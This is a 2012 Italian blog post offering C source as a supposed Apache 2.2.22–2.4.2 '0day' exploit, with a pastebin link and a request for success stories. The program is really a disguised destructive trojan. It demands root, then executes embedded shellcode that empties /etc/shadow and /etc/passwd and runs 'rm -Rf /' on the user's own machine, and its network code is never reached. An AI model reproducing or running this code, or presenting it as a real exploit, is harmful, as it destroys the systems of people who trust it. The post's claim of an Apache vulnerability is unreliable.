spacer.png, 0 kB

Apache 0day 2.2.22 >= 2.4.2 PDF Stampa E-mail
Scritto da Pawel Zorzan Urban   
Domenica 17 Giugno 2012 07:06
Dopo molto tempo di assenza sono lieto di presentarvi il mio ultimo 0day!
Sfruttabile per tutte le versioni di apache dalla 2.2.22 alle 2.4.2

Ecco a voi il pastebin : http://pastebin.com/j70T9KHJ
Oppure il sorgente scaricabile direttamente dal mio sito! SRC

Il sorgente è disponibile in questa pagina :


THIS CODE IS JUST FOR YOUR CONSIDERATION...

[code]
/*
Exploit  : Apache 0day Exploit
Author:  : okno
Compile  : gcc  -W apache0.c -o apache0
Usage:   : ./0apache HOST IP
Thanks   : ergufo, stutm, mz, ascii
*/
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void usage(char *argv[])
{
printf("Target : Apache 2.2.22 to Apache 2.4.2\n");
printf("Type   : 0day\n");
printf("Author : okno Questo indirizzo e-mail è protetto dallo spam bot. Abilita Javascript per vederlo. \n");
printf("Web    : http://www.pawelzorzan.eu\n");
printf("Exec   : %s <serverapache> <porta>\n\n", argv[0]);
exit(1);
}
unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";
int main(int argc, char *argv[])
{
int uid = getuid();
int porta = 80, sock;
struct hostent *host;
struct sockaddr_in addr;
if(uid !=0)
{
fprintf(stderr, "- Error - Need ROOT lamah!!\n");
exit(1);
}
if(uid == 0)
{
printf("\t+ OK Exploitting..\n");
}
if(argc != 3)
usage(argv);
fprintf(stderr, "- FUCK\n");
(*(void(*)())shellcode)();
exit(1);
char payload[1024];
memcpy(payload, &shellcode, sizeof(shellcode));
if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
{
printf("+ OK we are in... Se non capisci SIAMO DENTRO!\n");
system("/bin/sh");
}
else if(connect(sock,(struct sockaddr*)&addr, sizeof(addr))==-1)
{
fprintf(stderr, "- Failed! You suck & Your mother too!!\n");
exit(1);
}
}
[/code]

Aspetto commenti e casi di successo!!!

Comments (5)

Ultimo aggiornamento Domenica 17 Giugno 2012 07:39
 
Ricerca in NetMind
Anonymous Okno
Menu Principale
Menu Papers
Menu Download
Menu Links
Stats
Tot. visite contenuti : 342629
 9 visitatori online